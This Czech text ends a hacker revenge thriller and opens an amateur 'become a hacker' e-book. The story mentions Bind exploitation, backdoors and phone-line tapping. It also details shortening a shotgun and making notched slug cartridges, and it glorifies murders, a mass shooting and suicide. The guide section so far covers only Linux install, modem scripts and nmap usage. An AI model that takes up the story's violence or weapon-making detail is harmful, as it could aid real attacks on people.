kterých byl vytištěn kevinův email, který před několika dny poslal na policejní ředitelství. Kevin se v duchu zaradoval, protože je zachráněn, alespoň si to myslel. "Můžete nám tyto informace potvrdit?" Zeptal se plicajt. "Ano to jsem psal opravdu já. Ten policajt, co mě chtěl před chvilkou v cele mlátil to celé organizuje, společně s ředitelem firmy u které pracuji". Řekl sebevědomě Kevin. "Mohu vám předložit nějaké důkazy. Hacknul jsem jeho domácí server a odposlouchával jejich elektronickou komunikaci, takže mám všechny maily včetně logů. Vůbec nepoužívali šifrování, takže je všechno jasné. Měli by jste je zatknout ne?" Řekl Kevin a ukončil svůj krátký monolog. "Potřebujeme ty materiály vidět". Řekla policistka a obrátila se na Kevina. "Mám je doma, můžeme pro ně zajet". Dobrá, ale předtím potřebujeme vaše přiznání v souvislosti s útokem na server tajné služby. Chápejte, že jsou to již téměř dva měsíce a veřejnost očekává nějaký výsledek, jinak ministr půjde od válu". Kevin se usměje a povídá: "v tom dopise jsem se přeci přiznal ne?" "My potřebujem oficiální přiznání" podpořil policajtu fízl. "No dobrá, co chcete abych podepsal?" Policistka dala Kevinovi nějaký předtištěný papír, kde již bylo všechno připravené a Kevin to jen podepsal. "Ještě potřebuji znát některé detaily toho útoku na server tajné služby, abych mohla informovat svoje nadřízené", řekla a obrátila pozornost opět na Kevina. "Jaké podrobnosti?" zeptal se nachápavě Kevin. "Způsob, jak jste tento server kompromitoval". "Skenerem jsem ho omrknul, ale měl jsem štěstí, protože právě v té době byl server ve zkušebním provozu, takže byl špatně zabezpečen. No...špatně, řekl bych že jsem prostě skenoval přímo stroj, na kterém byly uloženy veřejně přístupné dokumenty. Prostě jsem se dostal až před zavřené dveře, které stačilo pouze otevřít. Dnes již je tam firewall, takže skener neskenuje přímo tento stroj, ale úplně jiný. Měl jsem prostě štěstí. Dále mně pracující serverové aplikace bez problémů řekly co jsou zač, takže není problém nalést na ně vhodný exploit. Prostě klasika, žádné čáry v tom nejsou. Použil jsem exploit pro děravý balík Bind, kterému jsem pomocí tohoto exploitu podstrčil vlastní kód. Stačí?" Mladá policistka na Kevina nechápavě zírala, a bylo vidět, že Kevinův monolog je pro ní úplně cizí řeč. "Co je to Bind?" optala se nechápavě. "Bind je programový balík, který obsahuje vše pro instalaci nameserveru na linuxovém nebo unixovém stroji." "No to by stačilo, přerušil rozhovor policajt a zavolal na policejní hlídku. "Tak to by stačilo, je opět váš, dělejte si s ním co chcete". Šokovaný Kevin nevěřil vlastním uším. Podraz! Jediné slovo co ho v této chvíli napadlo. Snad nejsou všichni prolezlí korupcí! Kevin myslí velmi rychle a vše pochopil. Byl to podraz, pouze chtěli Kevinovo doznání, aby se stali slavnými, že konečně obviní prvního hackera. To, že Kevin objevil neuvěřitelnou zločinnost uvnitř bezpečnostních zložek je vůbec nezajímá, pravděpodobně to považují za normální věc. Kevina odvedli na celu, kde čekají na soud vrazi a podobní slušní občané. Navíc zde bylo i několik anarichistů, kteří dostali od dozorců falešnou informaci, že Kevin je ultrapravicový extrémista, který před několika dny zavraždil jejich kolegu. Prvních několik dní prožíval Kevin pravé peklo. Postupně si ovšem Kevin získal jejich sympatie, protože objevil, jak poškodit žárovku, která na jejich cele svítila celou noc, což všichni snášeli s velkou nechutí. Kevin si z papíru vytvořil malou trubičku, kterou prostrčil otvorem v ochraném skle, a tak měl k žárovce přístup. Pak asi deset minut klepal do žárovky, takže rožhavené vlákno se začalo třást jako sulc, až prasklo. Než pak přišel údržbář, trvalo to několik dní než žárovku vyměnil. To pak opakovali ještě mnohokrát, takže spotřeba žárovek na jejich cele podezřele stoupla. Kevin si tím ovšem získal sympatie spoluvězňů a brzy se na cele stal jejich duchovní vůdcem, takže plán policajta, který předpokládal, že jednoho dne najdou Kevina mrtvého nevyšel. Dokonce Kevin spoluvězňům řekl svůj příběh, že není žádný vrah, ale obyčejný počítačový hacker, který pátráním v počítačových síťích objevil zločince v bezpečnostních složkách. Ovšem to bylo Kevinovi prd platné, protože policejní mafie nad ním měla plnou kontrolu. Ti byli velmi nervózní, když zjistili, že Kevin nejen že je úplně v pořádku, ale dokonce se mu ve vazbě začíná líbit, protože zde našel mnoho kamarádů, kteří spolu drží, podobně jako vězni v koncentračním táboře. Tam se teprve pozná, kdo je opravdu podrazák a kdo je férovej. Policajti také zjistili, že Kevin svůj příběh spoluvězňům řekl, takže již není sám, kdo to ví, a to je pro ně velmi špatné. Jednoho dne se mafie sešla a začali Kevinův případ vážně rozebírat. Padlo mnoho návrhů jak se ho zbavit, ale nakonec zvítězil nápad ředitele, aby Kevina někam převáželi, během převozu dojde k přepadení jejich auta, Kevina někdo unese a již ho nikdo nikdy neuvidí. "Myslím, že je to docela realné, máme pod kontrolou celé město, takže se ven nic nedostane. Většina obyčejných policistů v tom jede s námi, a ti noví policisté stejně neví o co jde." Řekl s radostí policejní ředitel. Mezitím se ovšem stala věc, se kterou nikdo z nich nepočítal. Mladá policistka, která vyšetřovala Kevinův hack stránek tajné služby informovala média, že mají pachatele a již dojde k jeho obvinění. To byla pěkná mediální bomba, protože první obviněný hacker v Česku je velká událost, a každý ho chtěl mít na titulní straně novin. To vůbec nehrálo do noty zločincům z řad policie, kteří by nejraději Kevina zašlapali do země, ať již o něm nikdo nikdy nic neví. Nejenom, že Kevina museli pustit před novináře, dokonce se ti ptali, proč je ve vazbě, když ten hack stránek tajné služby zas tak velký zločin nebyl. Novináři se také začali zajímat o jeho minulost a vazby na zločinecké organizace uvnitř policie, které Kevin odhalil a zveřejnil na hacknutých stránkách. Policie z něho totiž udělala blázna, který si vymyslel koniny, a také to co zvěřejnil bylo tak neskutečné, že tomu stejně nikdo nevěřil, a stále je lepší žít ve falešné představě, že svět kolem nás je mnohem lepší, než se někdo snažil naznačit. Proto se policajti rozhodli pro radikální řešení. Udělají z Kevina úplného blázna, který není svéprávný, a proto lže a plácá kraviny. Jednoho dne služba odvedla Kevina do malé místnosti, kde již čekal jejich známý doktor, který Kevinovi aplikoval injekci, po které se Kevin začal chovat jako opravdový blázen a mluvil úplně z cesty. Již ho zpátky do původní cely nevrátili, zůstal na samotce. Občas za Kevinem přišel nějaký novinář, který když zjistil, že Kevin se asi zbáznil, s úsměvem odešel pryč. Tak nakonec policie prostřednictvím médií udělala z prvního obviněného hackera blázna, který je naprosto nesvéprávný, a proto musí být izolován, protože se údajně také chová agresivně a ohrožuje ostatní. Navíc si k tomu policie přidala lež, že Kevin je nejenom hacker, ale také zloděj barevných kovů. Postupně média o Kevina ztratily zájem, což je přesně to, co mafiáni potřebovali. Kevin byl následně přemístněn do psychiatrické léčebny, ne proto, že by ho zde chtěli léčit, ale s cílem přinutit ho spáchat sebevraždu. Jde o to, že mu byla aplikována nějaká návyková látka, takže Kevin každé rano již netrpělivě očekával drogu a nic jiného jej již nezajímalo. Jednoho dne ovšem nastal zlom. Místo obvyklé denní dávky drogy, vůbec nic, pouze snídaně. Dozorce se choval naprosto netečně, vůbec nechápal potřebu Kevina, jehož organizmus již bez drog nemůže existovat. Měli to moc dobře vymyšlené. Kevin měl svůj pokoj v nejvyšším patře psychiatrické léčebny, kde nebyly žádné mříže a okna šla bez problémů zevnitř otevřít. To bylo také cílem jeho "ochránců", kteří předpokládali, že Kevin po přerušení přídělu drog spáchá sebevraždu. Kevin prožíval opravdová muka, které nelze slovy vůbec popsat. Několikrát již stál před otevřeným oknem a chtěl vyskočit, a tak vyřešit prohrou svojí osobní kybertetickou válku. Pouze obrovská nenávist ke svým věznitelům ho držela při smyslech, protože nenávist je v jeho případě jedinýn hnacím motorem a důvod proč ještě žít. Jednoho dne to přišlo. Kevin náhle upadl do bezvědomý a zůstal bez hnutí ležet na podlaze ve své nemocniční cele. Zanedlouho přišel zřízenec, společně s doktorem, kteří usoudili, že Kevin stejně umírá, tak ho konečně můžeme prohlásit za mrtvého. Jeho, ještě živé tělo převezli do márnice, která byla umístněna v suterénu psychiatrického areálu. Zřízenec naložil Kevina na vozík a přikryl plachtou jako normální mrtvolu. Výtahem sjel do suterénu a s výkřikem "máš tady další kousek" předal Kevinovo tělo do péče patologa. "Šoupni ho do lednice" řekl patolog a zřízenec otevřel velkou lednici, kde bylo asi dalších dvacet mrtvol, mezi které zavřel ještě živého Kevina. Poslední dějství Kevinova příběhu se mělo přiblížit. Velká zima v lednici způsobila, že Kevin se probral z bezvědomý, a první co si uvědomil byl fatk, že se cítí již mnohem lépe. Prudce sundal prostěradlo, které ho celého přikrývalo, a uvědomil si, že je uplně nahý. Byla mu strašná zima, protože v lednici byla teplota okolo bodu mrazu. Ostatním jeho kolegům to ovšem nevadilo, protože ti byli skutečně mrtví. Náhle si uvědomil, že je vlastně již pohřben za živa. Asi za hodinu náhle zarachotil zámek a lednice se začala pomalu otevírat. Kevin místo aby začal křičet "já ještě žiju", se opět schoval pod prostěradlo a stále hrál mrtvého. Kevin slyšel, jak někdo vyváží jeden vozík s mrtvolou ven z lednice, a pak se dveře opět zavřely. Naštěstí v lednici svítilo nouzové osvětlení z baterií, takže zde nebyla úplná tma. Kevin okamžitě opět vstal a začal se pohybovat jinak by stuhnul, což by byl jeho konec. Okolo stěn lednice byly nějaké skříně, které byly pochopitelně odemčené, protože nelze předpokládat, že mrtvoly by náhle ožily a něco z nich ukradly. Kevin byl výjimka, která pouze potvrzuje pravidlo. Kevin jednu skříň otevřel a nalezl zde velmi zajímavé věci. Leželo zde velké množsví pitevních nástrojů, včetně velkého ostrého nože. Kevin nůž bez rozmylu okamžitě uchopil, aniž vlastně tušil k čemu mu může být. Dále zde ležely nějaké lesklé kovové tyče, které bůh ví k čemu sloužily. Kevin jednu tyč okamžitě sebral, a jako smyslů zbavený se s tímto smrtícím nářadím vyšplhal nad vchodové dveře, kde byl malý výklenek, na kterém bylo možné stát. Náhle Kevin spatřil na protější straně lednice maskované dveře. Z posledních sil slezl dolů a dveře otevřel. Vešel do příjemně vytopené kanceláře, která byla součástí lednice. Pohlédl na digitální hodiny, které ležely na pracovním stole. Ukazovaly půl druhé v noci. Kancelář měla další dveře, které vedly ven z lednice, takže Kevin je již volný. Bohužel, všechny dveře jsou zamčené, navíc je Kevin úplně nahý, takže ven stejně nemůže, a kdyby takhle utekl ven, nebyl by problém ho stále považovat za blázna. Kevin chtěl počkat ve vytopené místnosti co nejdéle, ale osud to zařídil jinak. Bylo asi pět hodin ráno, když zaslechl z pitevního sálu zvuk otevírajících dveří, který byl následován typickým zvukem rozsvěcujících se velkých sálových zářivek, které byly na stropě velkého pitevního sálu. "Někdo přišel" řekl si Kevin téměř nahlas a měl samozřejmě pravdu. Kevin si stoupl těsně za dveře a čekal. Dveře se náhle otevřely a Kevin spatřil záda staršího muže, který asi právě přišel do práce. Bez váhání jej udeřil kovovou tyčí, kterou nalezl v jedné ze skříní v lednici. Udeřil vší silou, takže zaslechl i praskot lebeční kosti, která ukrývala mozek oběti. Kevin neváhal ani minutu a jednal jako smyslů zbavený. Touha po svobodě byla tak velká, že při této vraždě pociťoval obrovskou radost. Mrtvého muže svlékl a oblékl si jeho šaty. Pak jeho tělo z posledních sil uložil na svoje prázdné místo v lednici. Utřel zbytky krve na podlaze a vyšel ven z pitevny, tentokrát již bylo otevřeno. Ještě předtím sebral mrtvému nějaké peníze, včetně dokladů a jeho tašku. Naprosto bez problémů vyšel ven z budovy, právě v okamžiku, když na východě začalo vycházet slunce, které předznamenávalo, že bude krasný pozdně jarní den. Něco podobného již dlouho Kevin nezažil, a proto se vydal ven z města, aby vychutnal jak je život krásný. "Myslím, že mě hledat nebudou, když jsem vlastně již mrtvej." Řekl si Kevin nahlas. V tašce, kterou sebral mrtvému v pitevně našel mobilní telefon, rychle se proto přesunul na klidné místo, aby si něco ověřil. Zatelefonoval na svoje bývalé pracoviště a změněným hlasem se zeptlal, jestli tam pracuje ješte Kevin. Sekretářka mu odpověděla, že ten před dvěma dny zemřel v nemocnici. "Jsem mrtvý" zaradoval se Kevin. Kevin také nalezl v tašce, kterou sebral mrtvému velké množství peněz, které volně ležely na jejím dně, včetně mnoha dalších cenností, nějaké hodinky, zlaté šperky, řetízky aj. Kevina napadlo, že možná zabil nějakého zloděje, který si přes pitevnu krátil cestu, takže to možná žádný zaměstnanec nebyl, což by bylo přímo ideální. Tentokrát již Kevin vyřeší tento spor s mafií po svém. Ale jak, když nic nemá? Nemá zbraň, peníze, pouze strašnou nenávist. Teď už je to vlastně jedno, protože jsem již mrtev. "První co potřebuji je zbraň, ale nějakou pořádnou, velkorážní." Kevin si vzpoměl, že u svého již mrtvého dědy, který byl vášnivým myslivcem viděl také výrobu patronů do brokovnice pomocí speciálního nářadí. Se zbytkem peněz se vydá do malé vesnice, kde ještě žije jeho nevlastní babička, kterou již neviděl mnoho let. Ta sice vůbec nechápala smysl jeho návštěvy, ale jako starý člověk byla ráda za každou pozornost, kterou jí někdo věnuje. Neměla ani televizi, takže o Kevinovo problémech nevěděla vůbec nic. "Chci se stát myslivcem", odpoví na její dotaz. Ještě je tady někde to nářadí a brokovnice? "Ale ano, ve světnici v té velké truhle". Kevin neváhal, otevřel starou vyřezávanou skříň, ve které uviděl ve vazelíně zakonzervovanou brokovnici, a vedle velkou truhlu, ve které objevil vše co hledal. Ještě stále suchý střelný prach, mašinku na uzavírání patron, speciální kleště na nasazování kapslí, špunty, velké množství broků, papírové zátky, kapsle, ale také velké breneky, které se používaly pro střílení černé zvěře z brokovnice. Jednalo se o velké olověné koule, které měly průměr, stejný jako klasická patrona do lovecké brokovnice. Kevin na nic nečeká a hned se pustí do práce. V dílně najde rozbrus, kterým brokovnici zkrátí. Pak se pustí do výroby patronů, které ovšem nenaplní broky, ale velkými breneky, které ještě předtím nařízne, aby jejich povrch fungoval při nárazu jako trhací nástroj, který pak rozbije i malou zeď. Vyrobí asi třicet nabojů, které nastrká do opasku na náboje a jde brokovnici vyzkoušet do nedalekého lesa. Vyhlédne si malý strom, který je vzdálený asi dvacet metrů. S bušícím srdcem zamíří a stiskne spoušť. To co následovalo předčilo všechny jeho představy. Obrovský zpětný ráz vrhnul Kevina o dva metry zpět a strom před ním se zlomil jako sirka. Kevin se chytil za rameno a bolestí zasténal. Musí se ještě hodně učit. Vrátí se tedy zpět a vyrobí dalších asi dvacet nabojů. Pak se opět vrátí na svoji provizorní střelnici v lese. Tentokrát si již dá na zpětný ráz pozor. Vyhlédne si statnou borovici do které asi z deseti metrů vystřelí. Olověná koule strom prostřelí, a na druhé straně vytvoří obrovský kráter, takže celý strom je zralý na zrušení. Kevin proto ještě vystřelí do stromu z boku, a pak ještě jednou z druhé strany. Pak borovice s obrovským rachotem dopadla na zem. Kevin je přímo unesen kanonem, který si vyrobil. Vrátí se zpět a spotřebuje všechen střelný prach na výrobu těchto nábojů. Pak se ještě musí naučit rychle nabíjet, protože brokovnice obsahuje pouze dvě hlavně, do kterých se po jejím zlomení zasouvají dva náboje. Naštěstí u ní dobře funguje vyhazovák patron, takže ty okamžitě po jejím zlomení vyzkočí ven. Pak stačí rychle vytáhnout z opasku dvě patrony a rychle je zasunout do obou hlavní. Celé se to nechá zvládnout za necelé tři vteřiny. Den zúčtování Mezitím, co se Kevin připravoval na den zúčtování ze svými vrahy, se potvrdila jeho myšlenka, že v pitevně zavraždil zloděje, a ne pracovníka léčebny. Protože jeho mrtvolu umístnil místo sebe na vozík, nevzbudil tím vlastně žádnou větší pozornost. Za několik dní měl "Kevin" pohřeb, a tím oficiálně zmizel z tohoto světa. Do statistiky policie pouze přibyla další pohřešovaná osoba, která byla vlastně pohřbena místo Kevina, který je nyní absolutně svobodný. Ale dá se vůbec žít, jestliže jste oficiálně prohlášen za mrtvého? V tašce mrtvého zloděje našel asi třicet ticíc korun, takže pár měsíců by mohl přežít. Ale jak dál? Nemá občanský průkaz, zdravotní průkaz, nikdo ho nezaměstná, prostě není! Ale zase je to ideální situace jak se pomstít svým nepřátelům. "Kdybych je nějak dostal všechny na jedno místo, tak je tam klidně všechny postřílím", přemýšlí Kevin nahlas. Použije proto sociálního inženýrství prostřednictvím počítačových sítí. Tam se lze snadno vydávat za někoho jiného, jestliže víte jak postupovat. Rozloučil se s nevlastní babičkou, půjčil si od ní dlouhý plášť, pod který upevnil na tělo zkrácenou brokovnici, a jako opasek mu sloužil pás s náboji. Ale kam teď? Nikde ho neubytují, protože nemá žádné doklady. Zkusí se proto vypravit do svého původního bytu, a tam zkusit štěstí. Bohužel, byt byl zapečetěn policií, což se dalo předpokládat. Ovšem Kevin nutně potřebuje počítač, aby mohl uskutečnit svůj plán pomsty. Internetová kavárna v tomto případě nepomůže, protože Kevin se potřebuje opět probourat do policajtova počítače, který má stále byt vedle jeho, dnes již policií zajištěného bytu. Kevin ale potřebuje zjistit, jestli opravdu policajtův domácí server funguje. Zajde proto do kavárny i svým dlouhým pláštěm, pod kterým ukrývá brokovnici. "Tady si můžete odložit ten plášť" oslovila Kevina mladá servírka. Kevin odmítl s tím, že je mu nějaká zima, a proto si plášť nechá na sobě. Pomocí Windows 98, který byl na všech počítačích v kavárně nainstalován asi nic nehackne, tak alespoň napíše do prohlížeče adresu serveru, jestli je vůbec funkční. Okamžitě dostal odpověď, ze které poznal, že jeho stránky se téměř nezměnily. Pokusí se tedy zjistit o serveru co nejvíce informací. Spustí tedy aplikaci Telnet a připojí se na port 80 policajtova serveru. Ten mu následně poslušně vrátil odpověď, že se jmenuje Apache, a že pracuje nad Linuxem. Podobně se ještě připojí na port 25, kde by měl fungovat Sendmail. Po připojení také sendmail, hrdě Kevinovi oznámil svoji verzi. Kevin zkusil zadat sendmailu příkaz, který vrací podobnou odpověď jako Finger, takže Kevin může zjišťovat informace o uživatelých. Jestliže je tato službu sendmailu funkční, server bude pravděpodobně velmi špatně zabezpečen. Pochopitelně ano, dokonce zjistil i policajtův email, pod kterým komunikaje. Pak ho vlastně napadlo, že si tam minule nechal zadní vrátka na portu 31337. Okamžitě se zkusí připojit telnetem, ale bohužel nic. Pak si ovšem uvědomil, že tyto věci řekl policii, takže asi udělali nějaké opatření. To je konec, protože takhle server nikdy nehackne. Proto Kevin potřebuje zjistit, kde se jeho počítač fyzicky nalézá. Nemá k tomu žádné nástroje, proto si je musí opatřit. Stačí obyčejné telefonní sluchátko, se kterým se připojí na jeho linku ve sklepě, což už nejednou udělal. Ale kde vzít telefonní sluchátko? To není žádný problém. Kevin zajde do nedalekého kovošrotu, kde se válí tuny telekomunikačního odpadu, včetně starých telefonů. Dokonce tady najde celý přenosný mikrotelefon i s rotační číselnicí. Pak tramvají jede ke svému bývalému bytu, kde najde stále otevřený telefonní rozvod. Zkušebním telefonem se chce připojit, ale najednou si uvědomý, že nemá zátrčku na ježky krone, a proto musí improvizovat. Na zemi pod rozvodem najde kousky tenkých měděných drátků, které nehty zbaví izolace a zasune do pozice, kde se minule nacházela policajtova pevná linka. Na "oholené" konce drátků se připojí mikrotelefonem a uslyší klasický digitální praskot, takže vše je při starém. Pomalu se blíží půlnoc a Kevin nemá kde spát. Naštěstí je léto, proto se jde Kevin vyspat pod nedaleký most, kde je ke svému velkému překvapení úplně sám. Lehne si na zem a pomalu se chystá usnout, když tu náhle uslyšel stále zesilující zvuk lidských kroků. Dva zahalení muži ho obstoupí a chtějí po Kevinovi obsah jeho tašky, kde má asi třicet tisíc. Jeden z nich vyndal velký nůž, kterým namířil na Kevinovo hrdlo. "Ta taška je našeho kamaráda, kde jsi jí ukradl?" Zeptají se Kevina. "Váš kámoš je po smrti", ale za chvilku ho oba v pekle uvidíte". Na to Kevin roztáhne svůj plášť a vysune nabitou brokovnici a bez váhání střelí do prsou muže s dýkou. Druhý když to spatří, dá se na útěk, ale obrovský brenek ho zasáhne zezadu do krku a ustřelí mu hlavu. Kevin vzápětí zlomí brokovnici, ze které následně vypadnou dvě prázdné patrony. Bleskově z opasku vytáhne nové dva, která zasune zpět do nábojové komory a brokovnici opět narovná - je připravena k další střelbě. Ale již není po čem střílet. Raději toto místo bleskově opustí, protože lze předpokládat, že se tady objeví policie. Kevin již na nic nečeká a jde jako omámený do policajtova bytu. Z chodníku pod jeho bytem vytočí z telefoního automatu jeho číslo, aby se přesvědčil, je-li doma. "Prosím" ozve se z telefonu. Kevin zavěsí a jde do jeho bytu. Musí být opatrný, protože polda má určitě zbraň, kterou by proti němu bez váhání použil. Kevin již pochopitelně nemá neprůstřelnou vestu, vlastně nemá již vůbec nic, dokonce musí utajovat i fakt, že stále ještě žije. Stoupne si před jeho dveře a vystřelí do dveří těsně u zámku, který se pochopitelně úplně rozpadne. Kopne do dveří a vejde do vnitř. Policajt proti němu vyběhne a není ničeho schopen. Kevin mu bez výstrahy ustřelí hlavu. Pak sedne za počítač a nastartuje ho v režimu single aby získal z konzoly práva administrátora bez zadávaní hesla. Vyhledá jeho domácí adresář a zde objeví velké množství telefonních čísel na mobilní telefony. Ale náhle ho vyruší hluk na chodbě, takže plán se začíná hroutit. Naštěstí uvidí na podlaze ležet poldův mobil, kde budou podobné informace jako v počítači. Pak vyndá brokovnici a jde omrkout situaci. Do dveří právě vcházel mladý policista, následováný jeho sličnou kolegyní v uniformě. Zazněla obrovská rána z Kevinovi brokovnice a brenek proletěl oběma těly a ještě rozbil dveře v protějším bytě. Kevin rychle zmizel ve tmě. Za rohem pak prozkoumal jeho mobil, kde naštěstí objevil skupinu, která se jmenovala Mafie a obsahovala asi dvanáct čísel, na která lze odeslat zprávu najednou, a to také udělal. Všem přikázal aby okamžitě přišli do jedné restaurace, protože situace je vážná a vypnul mobil. Čas se nekonečně vlekl a Kevin čeká nedaleko restarace na příchozí. Přišlo mnoho známých, včetně jeho bývalého ředitele, takže může vyrazit do své poslední akce, která ovšem s počítačem nemá nic společného. Kevin se naposledy podívá na jasnou oblohu plnou hvězd a v očích se mu objeví slzy. Již je pozdě, musí to skončit. Vejde do restaurace s nabitou brokovnicí a první dávku nasměroval na ředitele, a následně postřílel téměř všechno živé co bylo v restauraci. Pak nabije svůj poslední náboj a hlaveň brokovnice si strčí do úst a stiskne spoušť. Po příjezdu policie nebylo zřejmé, kdo vlastně vraždil a kdo byl obětí, protože restaurace byla plná částí lidských těl, které ležely všude okolo. Jediný kdo to přežil byl pes některého z hostů, kterého Kevin ušetřil, protože usoudil, že s jeho osobní kybernetickou válkou asi nemá nic společného. HACKEREM SNADNO A RYCHLE aneb LINUX OPERAČNÍ SYSTÉM HACKERU Obsah 1) Úvod 2) Instalujeme Linux 3) Problemy po instalaci 4) Konfigurace modemu 5) Základni hack nástroje 6) Lynx jako hackerský nástroj 7) Úpravy zdrojových kódů 8) Jak hackeři měni www stránky? 9) Obecná teorie hackingu 1)úvod Takže aby bylo na úvod jasno, tato el.kniha neni určena pro IT profíky, ale klidně si ji mohou přečít. Dozvi se tak, jak "zacinajici" hacker muze byt nebezpecny:-) Knihu zacinam psat v editoru UW PICO (tm)2.9, ktery je standardni soucasti distribuce Linuxu RedHat, takze je jasne o co pujde. Rychle zapomente na vas "skvely" Windows a nainstalujte si nejaky Linux. Nemusite kupovat zadnej drahej hardwar, a tak neprimo podporovat uskupeni Wintel. Staci dokonce pocitac 386DX, 8MB Ram, HD200MB a modem treba 14,4Kb/s. Jak jsem jiz psal ve sve knize Hacking - odvracena tvar Internetu, kterou si muzete za 50 korun koupit na serveru {www.neknihy.cz}, ze na odeslani dabelskeho kodu exploitu tato rychlost bohate staci. Jakou distribuci Linuxu si vybrat? Uplne staci stara RedHat 5.0, ktera se bezproblemu vejde na disk o velikosti 200MB. Monitor lze pouzit jakykoli, dokonce i typu Hercules, ktery muzete v bazaru koupit za 200 korun i z kartou :-) 2) Instalujeme Linux Pro nase potreby jsme si tedy vybrali RedHat 5.0 a muzeme zacit instalovat. Zacneme instalovat rovnou z instalacniho CD, nebo si vytvorime instalacni diskety. Instalacni program nam nabidne ruzne soucasti, ktere muzeme nebo nemusime instalovat. Rozhodne NEdoporucuji instalovat graficke rozhrani (GUI), protoze nam bude v budoucnu na hov... a zbytecne zabira hodne mista na disku, a co hlavne, hacker pracuje zasadne pouze v radkovem rezimu:-) Na systemu MUSIME!! mit prekadac jazyka C, ktery je nutny nejenom na preklad exploitu, nebo jinych dabelskych programu. Nainstalujeme samozrejme cely balik sitovych programu, jako je telnet, ftp, ssh, www server Apache, sendmail aj. Dale dopurucuji nainstalovat souboroveho manazere GIT, ktery je velmi uzitecny pri sprave souboru (failu). Pouzijete-li disk o velikosti 200MB, jeste vam zustane po nainstalovani Linuxu dostatek mista na hackerske programy. Na konci instalace jeste vyberte demony, ktere chcete na systemu mit (muzete je pridat i v budoucnu) a instalace pomalu konci. Jeste zvolit kam umistnit zavadec Lilo a jediny zaverecny reset je tady:-) 3) Problemy po instalaci Pri zavadeni jadra Linuxu muze nastat problem pri startu Sendmailu, pouzivate-li v systemu nejake sitove rozhrani napr. eth0 (prilis velky timeout). V tom pripade je nutne do souboru /etc/hosts pridat vedle IP adresy tohoto sitoveho rozhrani jmeno vaseho pocitace, ktere jste si zvolili pri instalaci Linuxu. Pak by mel Linux nastartovat normalne a hlavne rychle. Pri konfiguraci systemu, musite byt samozrejme prihlasen jako uzivatel root, ktery jediny ma opravneni zapisovat do vsech souboru na systemu. Dalsi problem, ktery se objevi po instalaci je www server Apache. Ten nas sice nemusi prilis zajimat, ale bude nas trochu zlobit po prvnim startu Linuxu. Stale nam bude hlasit, ze nema v souboru httpd.conf uvedeno jmeno pocitace. Standardne je umistnen v /usr/local/etc/httpd/, nebo jej lze najit prikazem /]# find / -name 'httpd.conf'. Pak do neho pridate vedle radku ServerName slovo localhost. Tim pro nas tento demon konci a nebudeme jej *zatim* potrebovat:-). Prvni co je nutne ozivit je pripojeni do internetu. 4) Konfigurace modemu Protoze nebudeme pouzivat pri konfiguraci wokenni programy, napr. kppp, musime cele nastaveni modemu provest rucnim zapisem do prislusnych konfiguracnich failu. Vsechny potrebne faily mame v adresari /etc/ppp/. Jsou to soubory: options, chat-options, chap-secrets a pap-secrets. Pro obsluhu modemu, pouziva program pppd pomocny program chat. Ten ma v rezii otevreni portu a vytoceni tel. cisla. Podivame se na nastaveni v pripade pouziti sluzby Quick.cz. Soubor /etc/ppp/options musi vypadat minimalne takto: #modem na portu com 4 /dev/cua3 defaultroute modem crtscts noipdefault name vase_prihlasovaci_jmeno connect "/usr/sbin/chat -f /etc/ppp/chat-options" Dale soubory chap-secrets a pap-secrets musi vypadat takto: # Secrets for authentication using CHAP # clientserversecretIP addresses vase_jmeno * heslo Oba maji stejny tvar, takze uvadim pouze jeden z nich:-) No a nakonec si nechame soubor chat-options, ktery je spustitelnym skriptem, podobne jako options, takze musi mit nastaveny prava napr. -rwxr-xr-x, to je 755. Jeho obsah by mel vypadat napr. takto: "" ATDT0971103333 name: vase_jmeno sword: heslo Zde uvedete prihlasovaci udaje, ktere jste si zvolili pri registraci na adrese {www.quick.cz} nekde z internetove kavarny:-) Tyto udaje jsou take uvedeny ve failech pap-secrets a chap-secrets. Radeji nepouzivejte prikaz ATZ pro modem, protoze nektere modemy maji po tomto prikazu dlouhe timeounty, a ty se musi softwarove osetrit, jinak to vsechno nebude fungovat. Je proto dobre modem vhodne nastavit a ulozit do uzivatelskeho profilu 1 prikazem AT&W0. Toto nastaveni se automaticky nacte hned po zapnuti faxmodemu. Cely proces se spusti prikazem pppd a modem zacne vytacet tel. cislo. Po navazani spojeni jste v internetu. Spojeni lze ukoncit prikazem killall pppd. Lze si take vytvorit skripty, ktere vam jednak hlasi, co se behem pripojovani respektive odpojovani deje, pripadne logoji vse do failu. Uzitecny je cas pripojeni respektive odpojeni a IP adresa pripojene site. Ja pouzivam dva scripty, jeden pro pripojeni, druhy pro odpojeni. Navic to mam kombinovane se zvysenou pravomoci pomoci sudo a uzivatele mxd (pamatujete na Linux na umsdos:-)?. Pro inspiraci vypadaji takto: skript pro pripojeni: #!/bin/sh /bin/ps ax|/usr/bin/grep pppd|grep -v "grep" if [ $? -eq 0 ]; then echo "Cannot start pppd - already running" > /dev/console exit 1 else if [ -f /var/run/ppp0.pid ]; then /usr/local/bin/sudo.mxd /bin/rm -f /var/run/ppp0.pid fi fi /usr/local/bin/sudo.mxd /usr/local/sbin/pppd Skript pro odpojeni: #!/bin/sh chatline=`/bin/ps ax|/usr/bin/grep chat|grep -v "grep"` if [ "$chatline" != "" ]; then set - $chatline /usr/local/bin/sudo.mxd /bin/kill -9 $1 fi pppdline=`/bin/ps ax|/usr/bin/grep pppd|grep -v "grep"` if [ "$pppdline" != "" ]; then set - $pppdline /usr/local/bin/sudo.mxd /bin/kill -TERM $1 fi No tak jsme v netu ale co tam? Predne pozor, protoze druha strana pouziva ISDN, takze vidi vase telefonni cislo nejenom Telecom, ale i ISP! V tomto pripade je to jedna firma. 5) Zakladni hack nastroje Mezi absolutne nejzakladnejsi hack nastroje nepatri kupodivu Nmap, ale sam hacker, respektive jeho schopnosti. Tim mam na mysli predevsim znalost unixovych systemu, predevsim Linuxu:-). Pak teprve pomuze vyse zminovany program Nmap. Jak nazev napovida, jedna se nejenom o port skener. Podrobne jsem jej popsal v knize Hacking - odvracena tvar Internetu, takze to tady nebudu dale probirat. Pouze uvedu vypis, ktery posila tento program na konzolu spusteny bez parametru: nmap V. 2.53 Usage: nmap [Scan Type(s)] [Options] Some Common Scan Types ('*' options require root privileges) -sT TCP connect() port scan (default) * -sS TCP SYN stealth port scan (best all-around TCP scan) * -sU UDP port scan -sP ping scan (Find any reachable machines) * -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only) -sR/-I RPC/Identd scan (use with other scan types) Some Common Options (none are required, most can be combined): * -O Use TCP/IP fingerprinting to guess remote operating system -p ports to scan. Example range: '1-1024,1080,6666,31337' -F Only scans ports listed in nmap-services -v Verbose. Its use is recommended. Use twice for greater effect. -P0 Don't ping hosts (needed to scan {www.microsoft.com} and others) 